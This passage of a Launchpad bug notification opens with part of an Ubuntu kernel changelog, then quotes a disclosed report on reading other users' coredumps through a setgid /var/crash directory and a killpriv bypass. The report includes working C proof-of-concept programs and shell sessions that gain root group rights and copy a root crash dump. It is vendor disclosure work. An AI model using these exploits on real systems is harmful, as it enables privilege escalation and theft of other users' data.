    - libceph: reschedule a tick in finish_hunting()
    - libceph: validate con->state at the top of try_write()
    - fpga-manager: altera-ps-spi: preserve nCONFIG state
    - earlycon: Use a pointer table to fix __earlycon_table stride
    - drm/amdgpu: set COMPUTE_PGM_RSRC1 for SGPR/VGPR clearing shaders
    - drm/i915: Enable display WA#1183 from its correct spot
    - objtool, perf: Fix GCC 8 -Wrestrict error
    - tools/lib/subcmd/pager.c: do not alias select() params
    - x86/ipc: Fix x32 version of shmid64_ds and msqid64_ds
    - x86/smpboot: Don't use mwait_play_dead() on AMD systems
    - x86/microcode/intel: Save microcode patch unconditionally
    - x86/microcode: Do not exit early from __reload_late()
    - tick/sched: Do not mess with an enqueued hrtimer
    - arm/arm64: KVM: Add PSCI version selection API
    - powerpc/eeh: Fix race with driver un/bind
    - serial: mvebu-uart: Fix local flags handling on termios update
    - block: do not use interruptible wait anywhere
    - ASoC: dmic: Fix clock parenting
    - PCI / PM: Do not clear state_saved in pci_pm_freeze() when smart suspend is
      set
    - module: Fix display of wrong module .text address
    - drm/edid: Reset more of the display info
    - drm/i915/fbdev: Enable late fbdev initial configuration
    - drm/i915/audio: set minimum CD clock to twice the BCLK
    - drm/amd/display: Fix deadlock when flushing irq
    - drm/amd/display: Disallow enabling CRTC without primary plane with FB

  * Bionic update: upstream stable patchset 2018-06-22 (LP: #1778265) //
    CVE-2018-1108.
    - random: set up the NUMA crng instances after the CRNG is fully initialized

  * Ryzen/Raven Ridge USB ports do not work (LP: #1756700)
    - xhci: Fix USB ports for Dell Inspiron 5775

  * [Ubuntu 1804][boston][ixgbe] EEH causes kernel BUG at /build/linux-
    jWa1Fv/linux-4.15.0/drivers/pci/msi.c:352 (i2S) (LP: #1776389)
    - ixgbe/ixgbevf: Free IRQ when PCI error recovery removes the device

  * Need fix to aacraid driver to prevent panic (LP: #1770095)
    - scsi: aacraid: Correct hba_send to include iu_type

  * kernel: Fix arch random implementation (LP: #1775391)
    - s390/archrandom: Rework arch random implementation.

  * kernel: Fix memory leak on CCA and EP11 CPRB processing. (LP: #1775390)
    - s390/zcrypt: Fix CCA and EP11 CPRB processing failure memory leak.

  * Various fixes for CXL kernel module (LP: #1774471)
    - cxl: Remove function write_timebase_ctrl_psl9() for PSL9
    - cxl: Set the PBCQ Tunnel BAR register when enabling capi mode
    - cxl: Report the tunneled operations status
    - cxl: Configure PSL to not use APC virtual machines
    - cxl: Disable prefault_mode in Radix mode

  * Bluetooth not working (LP: #1764645)
    - Bluetooth: btusb: Apply QCA Rome patches for some ATH3012 models

  * linux-snapdragon: wcn36xx: mac address generation on boot (LP: #1776491)
    - [Config] arm64: snapdragon: WCN36XX_SNAPDRAGON_HACKS=y
    - SAUCE: wcn36xx: read MAC from file or randomly generate one

  * fscache: Fix hanging wait on page discarded by writeback (LP: #1777029)
    - fscache: Fix hanging wait on page discarded by writeback

 -- Kleber Sacilotto de Souza <kleber.souza@xxxxxxxxxxxxx>  Wed, 15 Aug
2018 14:50:38 +0200

** Changed in: linux (Ubuntu Bionic)
       Status: Fix Committed => Fix Released

** CVE added: https://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-10323

** CVE added: https://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-10840

** CVE added: https://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-10881

** CVE added: https://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-1108

** CVE added: https://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-11412

** CVE added: https://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-11506

** CVE added: https://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-12232

** CVE added: https://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-12233

** CVE added: https://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-12904

** CVE added: https://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-13094

** CVE added: https://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-13406

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https://bugs.launchpad.net/bugs/1779923

Title:
  other users' coredumps can be read via setgid directory and killpriv
  bypass

Status in linux package in Ubuntu:
  In Progress
Status in linux source package in Trusty:
  Fix Committed
Status in linux source package in Xenial:
  Fix Committed
Status in linux source package in Bionic:
  Fix Released
Status in linux source package in Cosmic:
  In Progress

Bug description:
  Note: I am both sending this bug report to security@xxxxxxxxxx and filing it in
  the Ubuntu bugtracker because I can't tell whether this counts as a kernel bug
  or as a Ubuntu bug. You may wish to talk to each other to determine the best
  place to fix this.

  I noticed halfdog's old writeup at
  https://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/
  , describing essentially the following behavior in combination with a
  trick for then writing to the resulting file without triggering the
  killpriv logic:

  
  =============
  user@debian:~/sgid_demo$ sudo mkdir -m03777 dir
  user@debian:~/sgid_demo$ cat > demo.c
  #include <fcntl.h>
  int main(void) { open("dir/file", O_RDONLY|O_CREAT, 02755); }
  user@debian:~/sgid_demo$ gcc -o demo demo.c
  user@debian:~/sgid_demo$ ./demo
  user@debian:~/sgid_demo$ ls -l dir/file
  -rwxr-sr-x 1 user root 0 Jun 25 22:03 dir/file
  =============

  
  Two patches for this were proposed on LKML back then:
  "[PATCH 1/2] fs: Check f_cred instead of current's creds in
  should_remove_suid()"
  https://lore.kernel.org/lkml/9318903980969a0e378dab2de4d803397adcd3cc.1485377903.git.luto@xxxxxxxxxx/

  "[PATCH 2/2] fs: Harden against open(..., O_CREAT, 02777) in a setgid directory"
  https://lore.kernel.org/lkml/826ec4aab64ec304944098d15209f8c1ae65bb29.1485377903.git.luto@xxxxxxxxxx/

  However, as far as I can tell, neither of them actually landed.

  
  You can also bypass the killpriv logic with fallocate() and mmap() -
  fallocate() permits resizing the file without triggering killpriv,
  mmap() permits writing without triggering killpriv (the mmap part is mentioned
  at
  https://lore.kernel.org/lkml/CAGXu5jLu6OGkQUgqRcOyQ6DABOwZ9HX3fUQ+-zC7NjLukGKnVw@xxxxxxxxxxxxxx/
  ):

  
  =============
  user@debian:~/sgid_demo$ sudo mkdir -m03777 dir
  user@debian:~/sgid_demo$ cat fallocate.c
  #define _GNU_SOURCE
  #include <stdlib.h>
  #include <fcntl.h>
  #include <err.h>
  #include <sys/mman.h>
  #include <sys/stat.h>
  #include <unistd.h>
  #include <string.h>

  int main(void) {
    int src_fd = open("/usr/bin/id", O_RDONLY);
    if (src_fd == -1)
      err(1, "open 2");
    struct stat src_stat;
    if (fstat(src_fd, &src_stat))
      err(1, "fstat");
    int src_len = src_stat.st_size;
    char *src_mapping = mmap(NULL, src_len, PROT_READ, MAP_PRIVATE, src_fd, 0);
    if (src_mapping == MAP_FAILED)
      err(1, "mmap 2");

    int fd = open("dir/file", O_RDWR|O_CREAT|O_EXCL, 02755);
    if (fd == -1)
      err(1, "open");
    if (fallocate(fd, 0, 0, src_len))
      err(1, "fallocate");
    char *mapping = mmap(NULL, src_len, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);
    if (mapping == MAP_FAILED)
      err(1, "mmap");

  
    memcpy(mapping, src_mapping, src_len);

    munmap(mapping, src_len);
    close(fd);
    close(src_fd);

    execl("./dir/file", "id", NULL);
    err(1, "execl");
  }
  user@debian:~/sgid_demo$ gcc -o fallocate fallocate.c
  user@debian:~/sgid_demo$ ./fallocate
  uid=1000(user) gid=1000(user) egid=0(root)
  groups=0(root),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),108(netdev),112(lpadmin),116(scanner),121(wireshark),1000(user)
  =============

  
  sys_copy_file_range() also looks as if it bypasses killpriv on
  supported filesystems, but I haven't tested that one so far.

  On Ubuntu 18.04 (bionic), /var/crash is mode 03777, group "whoopsie", and
  contains group-readable crashdumps in some custom format, so you can use this
  issue to steal other users' crashdumps:

  
  =============
  user@ubuntu-18-04-vm:~$ ls -l /var/crash
  total 296
  -rw-r----- 1 user whoopsie  16527 Jun 25 22:27 _usr_bin_apport-unpack.1000.crash
  -rw-r----- 1 root whoopsie  50706 Jun 25 21:51 _usr_bin_id.0.crash
  -rw-r----- 1 user whoopsie  51842 Jun 25 21:42 _usr_bin_id.1000.crash
  -rw-r----- 1 user whoopsie 152095 Jun 25 21:43 _usr_bin_strace.1000.crash
  -rw-r----- 1 root whoopsie  18765 Jun 26 00:42 _usr_bin_xattr.0.crash
  user@ubuntu-18-04-vm:~$ cat /var/crash/_usr_bin_id.0.crash
  cat: /var/crash/_usr_bin_id.0.crash: Permission denied
  user@ubuntu-18-04-vm:~$ cat fallocate.c 
  #define _GNU_SOURCE
  #include <stdio.h>
  #include <stdlib.h>
  #include <fcntl.h>
  #include <err.h>
  #include <sys/mman.h>
  #include <sys/stat.h>
  #include <unistd.h>
  #include <string.h>

  int main(int argc, char **argv) {
    if (argc != 2) {
      printf("usage: ./fallocate <file_to_read>");
      return 1;
    }
    int src_fd = open("/bin/cat", O_RDONLY);
    if (src_fd == -1)
      err(1, "open 2");
    struct stat src_stat;
    if (fstat(src_fd, &src_stat))
      err(1, "fstat");
    int src_len = src_stat.st_size;
    char *src_mapping = mmap(NULL, src_len, PROT_READ, MAP_PRIVATE, src_fd, 0);
    if (src_mapping == MAP_FAILED)
      err(1, "mmap 2");

    unlink("/var/crash/privileged_cat"); /* in case we've already run before */
    int fd = open("/var/crash/privileged_cat", O_RDWR|O_CREAT|O_EXCL, 02755);
    if (fd == -1)
      err(1, "open");
    if (fallocate(fd, 0, 0, src_len))
      err(1, "fallocate");
    char *mapping = mmap(NULL, src_len, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);
    if (mapping == MAP_FAILED)
      err(1, "mmap");
    memcpy(mapping, src_mapping, src_len);
    munmap(mapping, src_len);
    close(fd);

    execl("/var/crash/privileged_cat", "cat", argv[1], NULL);
    err(1, "execl");
  }
  user@ubuntu-18-04-vm:~$ gcc -o fallocate fallocate.c
  user@ubuntu-18-04-vm:~$ ./fallocate /var/crash/_usr_bin_id.0.crash > /var/crash/_usr_bin_id.0.crash.stolen
  user@ubuntu-18-04-vm:~$ ls -l /var/crash
  total 384
  -rwxr-sr-x 1 user whoopsie  35064 Jul  3 19:22 privileged_cat
  -rw-r----- 1 user whoopsie  16527 Jun 25 22:27 _usr_bin_apport-unpack.1000.crash
  -rw-r----- 1 root whoopsie  50706 Jun 25 21:51 _usr_bin_id.0.crash
  -rw-r--r-- 1 user whoopsie  50706 Jul  3 19:22 _usr_bin_id.0.crash.stolen
  -rw-r----- 1 user whoopsie  51842 Jun 25 21:42 _usr_bin_id.1000.crash
  -rw-r----- 1 user whoopsie 152095 Jun 25 21:43 _usr_bin_strace.1000.crash
  -rw-r----- 1 root whoopsie  18765 Jun 26 00:42 _usr_bin_xattr.0.crash
  user@ubuntu-18-04-vm:~$ mkdir root_crash_unpacked
  user@ubuntu-18-04-vm:~$ # work around bug in apport-unpack
  user@ubuntu-18-04-vm:~$ sed -i 's|^UserGroups: $|UserGroups: 0|' /var/crash/_usr_bin_id.0.crash.stolen
  user@ubuntu-18-04-vm:~$ apport-unpack /var/crash/_usr_bin_id.0.crash.stolen root_crash_unpacked/
  user@ubuntu-18-04-vm:~$ file root_crash_unpacked/CoreDump 
  root_crash_unpacked/CoreDump: ELF 64-bit LSB core file x86-64, version 1 (SYSV), SVR4-style, from 'id', real uid: 0, effective uid: 0, real gid: 0, effective gid: 0, execfn: '/usr/bin/id', platform: 'x86_64'
  =============

  
  This bug is subject to a 90 day disclosure deadline. After 90 days elapse
  or a patch has been made broadly available (whichever is earlier), the bug
  report will become visible to the public.

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